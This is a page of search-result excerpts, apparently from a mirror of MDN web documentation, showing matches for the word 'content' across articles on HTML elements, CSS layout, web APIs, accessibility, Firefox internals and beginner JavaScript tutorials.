content to make it appear or act in a certain way.
... the enclosing tags can make
content into a hyperlink to connect to another page, italicize words, and so on.
... the
content: this is the
content of the element.
...And 17 more matches
Applying color to HTML elements using CSS - HTML: Hypertext Markup Language
at a fundamental level, the color property defines the foreground color of an html element's
content and the background-color property defines the element's background color.
...this is only useful in elements that are editable, such as <input> and <textarea> or elements whose html
contenteditable attribute is set.
... boxes every element is a box with some sort of
content, and has a background and a border in addition to whatever
contents the box may have.
...And 17 more matches
Structural overview of progressive web apps - Progressive web apps (PWAs)
while progressive web apps (pwas) can do anything any web
content can do, they need to have a particular structure and include specific components in order to be recognized as a web app that can be used both on the web and installed and run as a local application.
... server-side rendering (ssr) means a website is rendered on the server, so it offers quicker first load, but navigating between pages requires downloading new html
content.
... the best results tend to come when you use both client-side and server-side rendering; you can render a web site on the server, cache its
contents, and then update the rendering on the client side as needed.
...And 17 more matches
HTML basics - Learn web development
previous overview: getting started with the web next html (hypertext markup language) is the code that is used to structure a web page and its
content.
... for example,
content could be structured within a set of paragraphs, a list of bulleted points, or using images and data tables.
... html is not a programming language; it is a markup language that defines the structure of your
content.
...And 16 more matches
Console messages - Firefox Developer Tools
the complete list of security messages is as follows: message details blocked loading mixed active
content the page contained mixed active
content: that is, the main page was served over https, but asked the browser to load "active
content", such as scripts, over http.
... the browser blocked this active
content.
... see mixed
content for more details.
...And 16 more matches
AbstractRange - Web APIs
a range is an object that indicates the start and end points of a section of
content within the document.
... endoffset read only an integer value indicating the offset, in characters, from the beginning of the node's
contents to the beginning of the range represented by the range object.
... startoffset read only an integer value indicating the offset, in characters, from the beginning of the node's
contents to the last character of the
contents referred to by the range object.
...And 16 more matches
Element.msZoomTo() - Web APIs
zoomed elements can expose their zoom level through ms
contentzoom (ie.
... syntax element.mszoomto(arguments); parameters args[in] type: mszoomtooptions
contentx[in]: the x-coordinate of the
content that is the target of the scroll/zoom.
... if no value is specified, defaults to the current centerpoint of visible
content, horizontally.
...And 16 more matches
Text labels and names - Accessibility
see also <area> h24: providing text alternatives for the area elements of image maps dialogs should be labeled for any container whose
contents act as a dialog box (for example, a modal dialog asking the user to make a choice or respond to an action being taken), give it a descriptive label or name, so that assistive technology users can easily discover what its purpose is.
...a common navigation technique for users of assistive technology is to infer what
content a page contains by reading its title.
... if the title is not available, they have to navigate the page to determine its
content, which can be a time consuming and potentially confusing process.
...And 16 more matches
HTML attribute reference - HTML: Hypertext Markup Language
content <meta> a value associated with http-equiv or name depending on the context.
...
contenteditable global attribute indicates whether the element's
content is editable.
... crossorigin <audio>, <img>, <link>, <script>, <video> how the element handles cross-origin requests csp <iframe> specifies the
content security policy that an embedded document must agree to enforce upon itself.
...And 16 more matches
MIME types (IANA media types) - HTTP
important: browsers use the mime type, not the file extension, to determine how to process a url, so it's important that web servers send the correct mime type in the response's
content-type header.
... if this is not correctly configured, browsers are likely to misinterpret the
contents of files and sites will not work correctly, and downloaded files may be mishandled.
... text list at iana text-only data including any human-readable
content, source code, or textual data such as comma-separated value (csv) formatted data.
...And 16 more matches
Progressive web app structure - Progressive web apps (PWAs)
server-side rendering (ssr) means a website is rendered on the server, so it offers quicker first load, but navigating between pages requires downloading new html
content.
... mixing ssr with csr can lead to the best results — you can render a website on the server, cache its
contents, and then update the rendering on the client-side as and when needed.
... app shell the app shell concept is concerned with loading a minimal user interface as soon as possible and then caching it so it is available offline for subsequent visits before then loading all the
contents of the app.
...And 16 more matches
Looping code - Learn web development
const cats = ['bill', 'jeff', 'pete', 'biggles', 'jasmin']; let info = 'my cats are called '; const para = document.queryselector('p'); for (let i = 0; i < cats.length; i++) { info += cats[i] + ', '; } para.text
content = info; this gives us the following output: hidden code 2 <!doctype html> <html> <head> <meta charset="utf-8"> <title>basic for loop example</title> <style> </style> </head> <body> <p></p> <script> const cats = ['bill', 'jeff', 'pete', 'biggles', 'jasmin']; let info = 'my cats are called '; const para = document.queryselector('p'); for (let i =...
... 0; i < cats.length; i++) { info += cats[i] + ', '; } para.text
content = info; </script> </body> </html> note: you can find this example code on github too (also see it running live).
...yselector('p'); const input = document.queryselector('input'); const btn = document.queryselector('button'); btn.addeventlistener('click', function() { let searchname = input.value.tolowercase(); input.value = ''; input.focus(); for (let i = 0; i < contacts.length; i++) { let splitcontact = contacts[i].split(':'); if (splitcontact[0].tolowercase() === searchname) { para.text
content = splitcontact[0] + '\'s number is ' + splitcontact[1] + '.'; break; } else { para.text
content = 'contact not found.'; } } }); hidden code 3 <!doctype html> <html> <head> <meta charset="utf-8"> <title>simple contact search example</title> <style> </style> </head> <body> <label for="search">search by contact name: </label> <input id="search" typ...
...And 15 more matches
Script security
the security model for web
content is based on the same-origin policy, in which code gets full access to objects from its origin but highly restricted access to objects from a different origin.
...however, javascript is a highly dynamic, malleable language, and without help it's difficult to write system-privileged code that interacts safely with untrusted web
content.
...an example of this scope is chrome-privileged javascript accessing web
content.
...And 15 more matches
Index
on an organizational level the
contents of the set are managed according to the mozilla ca policy.
... 60 nss 3.18 release notes guide, nss, needs
content, security the nss team has released network security services (nss) 3.18, which is a minor release.
...it can also list, generate, modify, or delete certificates within the cert8.db file and create or change the password, generate new public and private key pairs, display the
contents of the key database, or delete key pairs within the key3.db file.
...And 15 more matches
Parser API
interface xmlelement <: xml, expression { type: "xmlelement";
contents: [ xml ]; } an e4x literal representing a single xml element.
... interface xmllist <: xml, expression { type: "xmllist";
contents: [ xml ]; } an e4x literal representing a list of xml elements.
... interface xmlstarttag <: xml { type: "xmlstarttag";
contents: [ xml ]; } an xml start tag.
...And 15 more matches
nsIChannel
method overview void asyncopen(in nsistreamlistener alistener, in nsisupports acontext); nsiinputstream open(); attributes attribute type description
contentcharset acstring the character set of the channel's
content if available and if applicable.
... setting
contentcharset before the channel has been opened provides a hint to the channel on what the charset should be.
... the behavior is similar to
contenttype.
...And 15 more matches
Working with windows in chrome code
opening windows from a <script> in a window or an overlay to open a new window, we usually use a window.open or window.opendialog dom call, like this: var win = window.open("chrome://myextension/
content/about.xul", "aboutmyextension", "chrome,centerscreen"); the first parameter to window.open is the uri of the xul file that describes the window and its
contents.
... var ww = components.classes["@mozilla.org/embedcomp/window-watcher;1"] .getservice(components.interfaces.nsiwindowwatcher); var win = ww.openwindow(null, "chrome://myextension/
content/about.xul", "aboutmyextension", "chrome,centerscreen", null); window object note the win variable in the above section, which is assigned the return value of window.open.
...
content windows when a xul window contains a widget capable of displaying a page, such as <browser> or <iframe>, the document in that widget is, naturally, separate from the document of the chrome window itself.
...And 15 more matches
display - CSS: Cascading Style Sheets
inside <display-inside> these keywords specify the element’s inner display type, which defines the type of formatting context that its
contents are laid out in (assuming it is a non-replaced element).
... valid <display-inside> values: flow the element lays out its
contents using flow layout (block-and-inline layout).
... depending on the value of other properties (such as position, float, or overflow) and whether it is itself participating in a block or inline formatting context, it either establishes a new block formatting context (bfc) for its
contents or integrates its
contents into its parent formatting context.
...And 15 more matches
Xray vision
javascript loaded from normal web pages is called
content code.
...if an expanded principal is used, the sandbox is granted certain privileges over
content code and is protected from direct access by
content code.
... the security machinery in gecko ensures that there's asymmetric access between code at different privilege levels: so for example,
content code can't access objects created by chrome code, but chrome code can access objects created by
content.
...And 14 more matches
Box-shadow generator - CSS: Cascading Style Sheets
box-shadow generator html
content <div id="container"> <div class="group section"> <div id="layer_manager"> <div class="group section"> <div class="button" data-type="add"> </div> <div class="button" data-type="move-up"> </div> <div class="button" data-type="move-down"> </div> </div> <div id="stack_container"></div> </div> <div id="preview_zone"> <div id="layer_menu" class="col span_12"> <div class="button" id="element" data-type="subject" data-title="element"> element </div> <div class="button" id="before" data-type="subject" data-...
... :after <span class="delete" data-type="disable"></span> </div> <div class="ui-checkbox" data-topic='before' data-label=":before"></div> <div class="ui-checkbox" data-topic='after' data-label=":after"></div> </div> <div id="preview"> <div id="obj-element"> <div class="
content"> </div> <div id="obj-before"> </div> <div id="obj-after"> </div> </div> </div> </div> </div> <div id="controls" class="group section"> <div class="wrap-left"> <div class="colorpicker category"> <div class="title"> </div> <div id="colorpicker" class="group"> ...
... <div class="group" style="border-top-left-radius: 0;"> <div class="output" data-topic="element" data-name="element" data-prop="width height background-color position=[relative] box-shadow"> </div> <div class="output" data-topic="before" data-name="element:before" data-prop="
content=[""] position=[absolute] width height top left z-index background-color box-shadow transform -webkit-transform -ms-transform"> </div> <div class="output" data-topic="after" data-name="element:after" data-prop="
content=[""] position=[absolute] width height top left z-index background-color box-shadow transform -web...
...And 14 more matches
Flow Layout and Overflow - CSS: Cascading Style Sheets
when there is more
content than can fit into a container, an overflow situation occurs.
... giving an element a fixed height and width, then adding significant
content to the box, creates a basic overflow example: the
content goes into the box.
... once it fills the box, it continues to overflow in a visible way, displaying
content outside the box, potentially displaying under subsequent
content.
...And 14 more matches
Box alignment in CSS Grid Layout - CSS: Cascading Style Sheets
we are able to align the
content inside grid areas, and the grid tracks themselves on these two axes.
...s: start; } .item1 { grid-area: a; } .item2 { grid-area: b; } .item3 { grid-area: c; } .item4 { grid-area: d; } <div class="wrapper"> <div class="item1">item 1</div> <div class="item2">item 2</div> <div class="item3">item 3</div> <div class="item4">item 4</div> </div> keep in mind that once you set align-items: start, the height of each child <div> will be determined by the
contents of the <div>.
...to align items along the main, inline axis in flexbox you use the justify-
content property.
...And 14 more matches
Linear-gradient Generator - CSS: Cascading Style Sheets
linear-gradient generator html
content <div id="container"> <div id="gradient-container" data-alpha="true"> </div> <div id="controls"> <div class="section"> <div class="title"> active point </div> <div class="property"> <div class="ui-input-slider" data-topic="point-position" data-info="position" data-unit="px" data-min="-1000" data-value="0" data-max="1000" data-sensivity="5"></div> <div id="delete-point" class="button"> delete point </div> </div> <div class="ui-color-picker" data-topic="picker"></div> </div> <div class="section"> <div class="title"> active axis </div> <...
... <div id="order"> <div id="gradient-axes"></div> <div id="gradient-order"></div> </div> </div> </div> <div id="output"> <div class="css-property"> <span class="property">background:</span> <span class="value"></span> </div> </div> </div> css
content /* * color picker tool */ .ui-color-picker { width: 420px; margin: 0; border: 1px solid #ddd; background-color: #fff; display: table; -moz-user-select: none; -webkit-user-select: none; -ms-user-select: none; user-select: none; } .ui-color-picker .picking-area { width: 198px; height: 198px; margin: 5px; border: 1px solid #ddd; position: relative; float: left; display: table; ...
... 50%, hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%), -o-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%); background-color: #f00; } .ui-color-picker .picker { width: 10px; height: 10px; margin: -5px 0 0 -5px; border-radius: 50%; border: 1px solid #fff; position: absolute; top: 45%; left: 45%; } .ui-color-picker .picker:before { width: 8px; height: 8px;
content: ""; position: absolute; border: 1px solid #999; border-radius: 50%; } .ui-color-picker .hue, .ui-color-picker .alpha { width: 198px; height: 28px; margin: 5px; border: 1px solid #fff; float: left; } .ui-color-picker .hue { background: url("images/hue_mask.png"); background: -moz-linear-gradient(left, #f00 0%, #ff0 16.66%, #0f0 33.33%, #0ff 50%, #00f 66.66%, #f0f 83.33%, #f00 100%...
...And 14 more matches
Using templates and slots - Web Components
this element and its
contents are not rendered in the dom, but it can still be referenced using javascript.
... let's look at a trivial quick example: <template id="my-paragraph"> <p>my paragraph</p> </template> this won't appear in your page until you grab a reference to it with javascript and then append it to the dom, using something like the following: let template = document.getelementbyid('my-paragraph'); let template
content = template.
content; document.body.appendchild(template
content); although trivial, you can already start to see how this could be useful.
...let's define a web component that uses our template as the
content of its shadow dom.
...And 14 more matches
Localization formats
there are 4 main approaches to web l10n with regards to the choice of technology used for localization logic: html/php .lang gettext (.po) wiki (tbd) the choice of the filetype depends on a couple of factors: how much
content is there to be localized?
... is this a long-term project with continuous updates to
content?
... is this a long-term project with stable
content?
...And 13 more matches
DMD
in this mode, dmd tracks the
contents of the heap, including which heap blocks have been reported by memory reporters.
...in this mode, dmd tracks the current
contents of the heap.
...in this mode, dmd tracks both the past and current
contents of the heap.
...And 13 more matches
inIDOMUtils
method overview void addpseudoclasslock(in nsidomelement aelement, in domstring apseudoclass); void clearpseudoclasslocks(in nsidomelement aelement); [implicit_jscontext] jsval colornametorgb(in domstring acolorname); nsiarray getbindingurls(in nsidomelement aelement); nsidomnodelist getchildrenfornode(in nsidomnode anode, in boolean ashowinganonymous
content); unsigned long long get
contentstate(in nsidomelement aelement); void getcsspropertynames([optional] in unsigned long aflags, [optional] out unsigned long acount, [retval, array, size_is(acount)] out wstring aprops); nsisupportsarray getcssstylerules(in nsidomelement aelement, [optional] in domstring apseudo); nsidomnode getparentfornode(in nsidomnode anode, ...
...in boolean ashowinganonymous
content); unsigned long getruleline(in nsidomcssstylerule arule); unsigned long getrulecolumn(in nsidomcssstylerule arule); unsigned long getselectorcount(in nsidomcssstylerule arule); astring getselectortext(in nsidomcssstylerule arule, in unsigned long aselectorindex); unsigned long long getspecificity(in nsidomcssstylerule arule, in unsigned long aselectorindex); nsidomfontfacelist getusedfontfaces(in nsidomrange arange); bool haspseudoclasslock(in nsidomelement aelement, in domstring apseudoclass); boolean isignorablewhitespace(in nsidomcharacterdata adatanode); bool isinheritedproperty(in astring apropertyname); void parsestylesheet(in nsidomcssstylesheet asheet, in domstrin...
...g ainput); void removepseudoclasslock(in nsidomelement aelement, in domstring apseudoclass); astring rgbtocolorname(in octet ar, in octet ag, in octet ab); bool selectormatcheselement(in nsidomelement aelement, in nsidomcssstylerule arule, in unsigned long aselectorindex, [optional] in domstring apseudo); void set
contentstate(in nsidomelement aelement, in unsigned long long astate); constants constant value description exclude_shorthands (1<<0) include_aliases (1<<1)
content state flags the
content state flags are used in a bitmask.
...And 13 more matches
Element.innerHTML - Web APIs
use node.text
content to get a raw copy of these text nodes'
contents.
... to insert the html into the document rather than replace the
contents of an element, use the method insertadjacenthtml().
... syntax const
content = element.innerhtml; element.innerhtml = htmlstring; value a domstring containing the html serialization of the element's descendants.
...And 13 more matches
<audio>: The Embed Audio element - HTML: Hypertext Markup Language
the html <audio> element is used to embed sound
content in documents.
... the
content inside the opening and closing <audio></audio> tags is shown as a fallback in browsers that don't support the element.
... canplay the browser can play the media, but estimates that not enough data has been loaded to play the media up to its end without having to stop for further buffering of
content.
...And 13 more matches
<input>: The Input (Form Input) element - HTML: Hypertext Markup Language
<input type="range" name="range" min="0" max="25"/> html5 reset a button that resets the
contents of the form to default values.
... note: an element with the autofocus attribute may gain focus before the dom
contentloaded event is fired.
...while a screen reader will announce the label of the form control receiving focus, the screen reader will not announce anything before the label, and the sighted user on a small device will equally miss the context created by the preceding
content.
...And 13 more matches
<video>: The Video Embed element - HTML: Hypertext Markup Language
you can use <video> for audio
content as well, but the <audio> element may provide a more appropriate user experience.
... the
content inside the opening and closing <video></video> tags is shown as a fallback in browsers that don't support the element.
... preload this enumerated attribute is intended to provide a hint to the browser about what the author thinks will lead to the best user experience with regards to what
content is loaded before the video is played.
...And 13 more matches
Accessible multimedia - Learn web development
previous overview: accessibility next another category of
content that can create accessibility problems is multimedia — video, audio, and image
content need to be given proper textual alternatives so they can be understood by assistive technologies and their users.
... multimedia and accessibility so far in this module we have looked at a variety of
content and what needs to be done to ensure its accessibility, ranging from simple text
content to data tables, images, native controls such as form elements and buttons, and even more complex markup structures (with wai-aria attributes).
... this article on the other hand looks at another general class of
content that arguably isn't as easy to ensure accessibility for — multimedia.
...And 12 more matches
Sizing items in CSS - Learn web development
if you add a <div> to your html with no
content, then give it a border as we did with the image, you will see a line on the page.
... this is the collapsed border on the element — there is no
content to hold it open.
...it has no height (or size in the block dimension) because there is no
content.
...And 12 more matches
The box model - Learn web development
the model defines how the different parts of a box — margin, border, padding, and
content — work together to create a box that you can see on the page.
... parts of a box making up a block box in css we have the:
content box: the area where your
content is displayed, which can be sized using properties like width and height.
... padding box: the padding sits around the
content as white space; its size can be controlled using padding and related properties.
...And 12 more matches
What do common web layouts contain? - Learn web development
main
content the biggest region, containing
content unique to the current page.
... stuff on the side 1) information complementing the main
content; 2) information shared among a subset of pages; 3) alternative navigation system.
... in fact, everything not absolutely required by the page's main
content.
...And 12 more matches
Tips for authoring fast-loading HTML pages - Learn web development
optimizing page load performance is not just for
content which will be viewed by narrowband dial-up or mobile device visitors.
... it is just as important for broadband
content and can lead to dramatic improvements even for your visitors with the fastest connections.
... use a
content delivery network (cdn) for the purposes of this article, a cdn is a means to reduce the physical distance between your server and your visitor.
...And 12 more matches
HTML text fundamentals - Learn web development
structured
content makes the reading experience easier and more enjoyable.
...each element represents a different level of
content in the document; <h1> represents the main heading, <h2> represents subheadings, <h3> represents sub-subheadings, and so on.
...on such occasions, it is advisable to spread the
content over multiple pages if possible.
...And 12 more matches
Perceived performance - Learn web development
relevant measurements include first meaningful paint (fmp), largest
contentful paint (lcp), time to interactive (tti), render start, dom interactive, and speed index.
...first
contentful paint (fcp) reports the time when the browser first rendered anything of signifigance, be that text, foreground or background image, or a canvas or svg; capturing the very beginning of the loading experience.
... but, just because there's
content, doesn't mean it's useful
content or that the user has
content to consume.
...And 12 more matches
Creating localizable web applications
an important step of developing a web application or creating web
content is making sure that it can be localized.
... listed below are good practices and recommendations that should be followed in order to make your
content easily localizable.
... simplify localized versions if necessary oftentimes, it is better to slightly simplify the localized version of your web application than to serve a mix of localized and english
content.
...And 12 more matches
Components.utils.Sandbox
the principal may be one of four types: the system principal, a
content principal, an expanded principal, or a null principal.
... system principal to specify the system principal, you can create it using code like: cc["@mozilla.org/systemprincipal;1"].createinstance(ci.nsiprincipal);
content principal you can specify a
content principal for a particular origin in one of three ways: as an nsiprincipal, for example by using the nodeprincipal property of a dom node as an nsidomwindow, such as that returned by the dom window property as a string uri like "http://www.example.com/" (discouraged) when possible, specify a window or an nsiprincipal object instead of using a string uri.
... example of obtaining
content principal from the window: var principal = gbrowser.selectedtab.linkedbrowser.
contentprincipal; var sandbox = components.utils.sandbox(principal); expanded principal an expanded principal is specified as an array of the principals it subsumes.
...And 12 more matches
DOM Inspector internals - Firefox Developer Tools
source code organization the
contents of the top-level directory for the dom inspector repository should look like base/ js/ inspector-cmdline.js makefile.in build/ install.js makefile.in resources/
content/ … locale/ … skin/ … makefile.in install.rdf jar.mn makefile.in makefiles.sh almost al...
...l the interesting stuff is in resources/
content/.
... its
contents should resemble the following: extensions/ … jsutil/ … prefs/ … res/ … tests/ … viewers/ … browseroverlay.xul commandoverlay.xul editingoverlay.xul flasher.js hooks.js inspector.css inspector.js inspectoroverlay.xul inspector.xml inspector.xul keysetoverlay.xul object.js object.xul popupoverlay.xul sidebar.js sidebar.xul statusbaroverlay.xul tasksoverlay-cz.xul tasksoverlay-ff.xul tasksoverlay-mobile.xul tasksoverlay-sb.xul tasksoverlay-tb.xul tasksoverlay.xul toolboxoverlay.xul utils.js venkmanoverlay.xul viewerregistry.js overlays you will notice that there are a lot of overlays.
...And 12 more matches
Grid template areas - CSS: Cascading Style Sheets
a header a footer a sidebar the main
content with the grid-area property i can assign each of these areas a name.
... .header { grid-area: hd; } .footer { grid-area: ft; } .
content { grid-area: main; } .sidebar { grid-area: sd; } having defined these names i then create my layout.
...pper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; max-width: 940px; margin: 0 auto; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } <div class="wrapper"> <div class="header">header</div> <div class="sidebar">sidebar</div> <div class="
content">
content</div> <div class="footer">footer</div> </div> using this method we do not need to specify anything at all on the individual grid items, everything happens on our grid container.
...And 12 more matches
box-sizing - CSS: Cascading Style Sheets
by default in the css box model, the width and height you assign to an element is applied only to the element's
content box.
... the box-sizing property can be used to adjust this behavior:
content-box gives you the default css box-sizing behavior.
... if you set an element's width to 100 pixels, then the element's
content box will be 100 pixels wide, and the width of any border or padding will be added to the final rendered width, making the element wider than 100px.
...And 12 more matches
<img>: The Image Embed element - HTML: Hypertext Markup Language
alt text is also displayed on the page if the image can't be loaded for some reason: for example, network errors,
content blocking, or linkrot.
... use both width and height to set the intrinsic size of the image, allowing it to take up space before it loads, to mitigate
content layout shifts.
...below is a list of the image formats that are most commonly used on the web, as well as some older formats that should no longer be used, despite existing
content possibly still using them.
...And 12 more matches
HTTP headers - HTTP
custom proprietary headers have historically been used with an x- prefix, but this convention was deprecated in june 2012 because of the inconveniences it caused when nonstandard fields became standard in rfc 6648; others are listed in an iana registry, whose original
content was defined in rfc 4229.
... entity headers contain information about the body of the resource, like its
content length or mime type.
...
content-dpr a number that indicates the ratio between physical pixels over css pixels of the selected image response.
...And 12 more matches
Populating the page: how browsers work - Web Performance
users want web experiences with
content that is fast to load and smooth to interact with.
...users want and expect web experiences with
content that is fast to load and smooth to interact with.
...this requires three more round trips to the server before the request for
content is actually sent.
...And 12 more matches
What is accessibility? - Learn web development
the main types of disability to consider are explained below, along with any special tools they use to access web
content (known as assistive technologies, or ats).
... there are, however, specific techniques for providing textual alternatives to audio
content which range from simple text transcripts to text tracks (i.e.
...these include difficulty with understanding
content, remembering how to complete tasks, and confusion caused by inconsistent webpage layouts.
...And 11 more matches
Fetching data from the server - Learn web development
prerequisites: javascript basics (see first steps, building blocks, javascript objects), the basics of client-side apis objective: to learn how to fetch data from the server and use it to update the
contents of a web page.
...the main
content will change, but most of the surrounding information, like the header, footer, navigation menu, etc., will stay the same.
...the
content is only reloaded from the server when it has been updated.
...And 11 more matches
Using Fetch - Web APIs
to extract the json body
content from the response, we use the json() method (defined on the body mixin, which is implemented by both the request and response objects.) note: the body mixin also has similar methods to extract other types of body
content; see the body section for more.
... fetch requests are controlled by the connect-src directive of
content security policy rather than the directive of the resources it's retrieving.
... mode: 'cors', // no-cors, *cors, same-origin cache: 'no-cache', // *default, no-cache, reload, force-cache, only-if-cached credentials: 'same-origin', // include, *same-origin, omit headers: { '
content-type': 'application/json' // '
content-type': 'application/x-www-form-urlencoded', }, redirect: 'follow', // manual, *follow, error referrerpolicy: 'no-referrer', // no-referrer, *no-referrer-when-downgrade, origin, origin-when-cross-origin, same-origin, strict-origin, strict-origin-when-cross-origin, unsafe-url body: json.stringify(data) // body data type must match "
content...
...And 11 more matches
WAI-ARIA Roles - Accessibility
screen readers will instantly start reading out the updated
content when the role is added.
...it is usually set on related
content items such as comments, forum posts, newspaper articles or other items grouped together on one page.aria: banner rolea banner role represents general and informative
content frequently placed at the beginning of the page.
...elements containing role="checkbox" must also include the aria-checked attribute to expose the checkbox's state to assistive technology.aria: comment rolethe comment landmark role semantically denotes a comment/reaction to some
content on the page, or to a previous comment.aria: complementary rolethe complementary landmark role is used to designate a supporting section that relates to the main
content, yet can stand alone when separated.
...And 11 more matches
Border-image generator - CSS: Cascading Style Sheets
border image generator html
content <div id="container"> <div id="gallery"> <div id="image-gallery"> <img class="image" src="https://udn.realityripple.com/samples/2c/fa0192d18e.png" data-stateid="border1"/> <img class="image" src="https://udn.realityripple.com/samples/b8/dacdd63e77.png" data-stateid="border2"/> <img class="image" src="https://udn.realityripple.com/samples/07/1fcc357205.png" data-stateid="border3"/> <img class="image" src="https://udn.realityripple.com/samples/7b/dd37c1d691.png" data-stateid="border4"/> <img class="image" src="https://udn.realityripple.com/samples/a9/b9fff72dab.png" data-stateid="border5"/>...
...an class="name"> border-image-repeat: </span> <span id="out-border-repeat" class="value"> </span> </div> <div class="css-property"> <span class="name"> border-image-source: </span> <span id="out-border-source" class="value"> </span> </div> </div> </div> </div> css
content /* grid of twelve * ========================================================================== */ .span_12 { width: 100%; } .span_11 { width: 91.46%; } .span_10 { width: 83%; } .span_9 { width: 74.54%; } .span_8 { width: 66.08%; } .span_7 { width: 57.62%; } .span_6 { width: 49.16%; } .span_5 { width: 40.7%; } .span_4 { width: 32.24%; } .span_3 { width: 23.78%; } .span_2 { ...
... width: 15.32%; } .span_1 { width: 6.86%; } /* sections * ========================================================================== */ .section { clear: both; padding: 0px; margin: 0px; } /* grouping * ========================================================================== */ .group:before, .group:after {
content: ""; display: table; } .group:after { clear:both; } .group { zoom: 1; /* for ie 6/7 (trigger haslayout) */ } /* grid column setup * ========================================================================== */ .col { display: block; float:left; margin: 1% 0 1% 1.6%; } .col:first-child { margin-left: 0; } /* all browsers except ie6 and lower */ /* * ui component */ .ui-input-slider { height: 20px; font-family: "segoe ui", arial, helvet...
...And 11 more matches
CSS Box Alignment - CSS: Cascading Style Sheets
this space is distributed using justify-
content.
... flexbox alignment example in this example, three flex items are aligned on the main axis using justify-
content and on the cross axis using align-items.
... two dimensions of alignment when using the box alignment properties you will align
content on one of two axes — the inline (or main) axis, and the block (or cross) axis.
...And 11 more matches
Color picker tool - CSS: Cascading Style Sheets
0%, hsla(0, 0%, 100%, 0) 50%, hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%), -o-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%); background-color: #f00; } .ui-color-picker .picker { width: 10px; height: 10px; border-radius: 50%; border: 1px solid #fff; position: absolute; top: 45%; left: 45%; } .ui-color-picker .picker:before { width: 8px; height: 8px;
content: ""; position: absolute; border: 1px solid #999; border-radius: 50%; } .ui-color-picker .hue, .ui-color-picker .alpha { width: 198px; height: 28px; margin: 5px; border: 1px solid #fff; float: left; } .ui-color-picker .hue { background: url("https://mdn.mozillademos.org/files/5701/hue.png") center; background: -moz-linear-gradient(left, #f00 0%, #ff0 16.66%, #0f0 33.33%, #0ff 50%, ...
...ox; -webkit-box-sizing: border-box; box-sizing: border-box; } /* preview color */ .ui-color-picker .preview { width: 95px; height: 53px; margin: 5px; margin-top: 10px; border: 1px solid #ddd; background-image: url("https://mdn.mozillademos.org/files/5705/alpha.png"); float: left; position: relative; } .ui-color-picker .preview:before { height: 100%; width: 50%; left: 50%; top: 0;
content: ""; background: #fff; position: absolute; z-index: 1; } .ui-color-picker .preview-color { width: 100%; height: 100%; background-color: rgba(255, 0, 0, 0.5); position: absolute; z-index: 1; } .ui-color-picker .switch_mode { width: 10px; height: 20px; position: relative; border-radius: 5px 0 0 5px; border: 1px solid #ddd; background-color: #eee; left: -12px; top: -1px; z-index: ...
... #picker-samples .sample { width: 40px; height: 40px; margin: 5px; border: 1px solid #ddd; position: absolute; float: left; transition: all 0.2s; } #picker-samples .sample:hover { cursor: pointer; border-color: #bbb; transform: scale(1.15); border-radius: 3px; } #picker-samples .sample[data-active='true'] { border-color: #999; } #picker-samples .sample[data-active='true']:after {
content: ""; position: absolute; background: url('https://mdn.mozillademos.org/files/6065/arrow.png') center no-repeat; width: 100%; height: 12px; top: -12px; z-index: 2; } #picker-samples #add-icon { width: 100%; height: 100%; position: relative; box-shadow: inset 0px 0px 2px 0px #ddd; } #picker-samples #add-icon:hover { cursor: pointer; border-color: #ddd; box-shadow: inset 0px 0px 5px 0...
...And 11 more matches
overflow - CSS: Cascading Style Sheets
when an element's
content is too big to fit in its block formatting context — in both directions.
... values visible
content is not clipped and may be rendered outside the padding box.
... hidden
content is clipped if necessary to fit the padding box.
...And 11 more matches
Rich-Text Editing in Mozilla - Developer guides
note: this document is out-of-date; you are advised to consult the more up-to-date document available at making
content editable.
...starting in firefox 3, mozilla also supports internet explorer's
contenteditable attribute which allows any element to become editable or non-editable (the latter for when preventing change to fixed elements in an editable environment).
... similarly, setting
contenteditable to "true" allows you to make individual elements of a document editable.
...And 11 more matches
<a>: The Anchor element - HTML: Hypertext Markup Language
content within each <a> should indicate the link's destination.
...can be used with or without a value: without a value, the browser will suggest a filename/extension, generated from various sources: the
content-disposition http header the final segment in the url path the media type (from the (
content-type header, the start of a data: url, or blob.type for a blob: url) defining a value suggests it as the filename.
... if
content-disposition has a different filename than download, the header takes priority.
...And 11 more matches
Gecko FAQ - Gecko Redirect 1
basically, a layout engine takes
content (such as html, xml, image files, applets, and so on) and formatting information (such as cascading style sheets, presentational html tags, etc.) and displays the formatted
content on the screen.
... it paints the browser's
content area, which is the blank area inside the browser window's chrome.
... formally, a layout engine defines the placement policy for a document and places
content on a page.
...And 10 more matches
Grids - Learn web development
it lets you lay
content out in rows and columns, and has many features that make building complex layouts straightforward.
... the implicit and explicit grid we have only specified column tracks so far, and yet rows are being created to hold our
content.
...the implicit grid is created when
content is placed outside of that grid — such as into our rows.
...And 10 more matches
Legacy layout methods - Learn web development
4, 6, or 12), and then fit your
content columns inside these imaginary columns.
... first of all, we need some
content to put into our columns.
...cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> </div> each one of the columns needs an outer element to contain its
content and let us manipulate all of it at once.
...And 10 more matches
Client-side storage - Learn web development
storing the
contents of a shopping cart from a previous session, remembering if a user was previously logged in).
... you can find the example html at personal-greeting.html — this contains a simple website with a header,
content, and footer, and a form for entering your name.
...again, put the following code at the bottom: // define the namedisplaycheck() function function namedisplaycheck() { // check whether the 'name' data item is stored in web storage if(localstorage.getitem('name')) { // if it is, display personalized greeting let name = localstorage.getitem('name'); h1.text
content = 'welcome, ' + name; personalgreeting.text
content = 'welcome to our website, ' + name + '!
...And 10 more matches
A first splash into JavaScript - Learn web development
sult = document.queryselector('.lastresult'); const loworhi = document.queryselector('.loworhi'); const guesssubmit = document.queryselector('.guesssubmit'); const guessfield = document.queryselector('.guessfield'); let guesscount = 1; let resetbutton; function checkguess() { let userguess = number(guessfield.value); if (guesscount === 1) { guesses.text
content = 'previous guesses: '; } guesses.text
content += userguess + ' '; if (userguess === randomnumber) { lastresult.text
content = 'congratulations!
... you got it right!'; lastresult.style.backgroundcolor = 'green'; loworhi.text
content = ''; setgameover(); } else if (guesscount === 10) { lastresult.text
content = '!!!game over!!!'; loworhi.text
content = ''; setgameover(); } else { lastresult.text
content = 'wrong!'; lastresult.style.backgroundcolor = 'red'; if(userguess < randomnumber) { loworhi.text
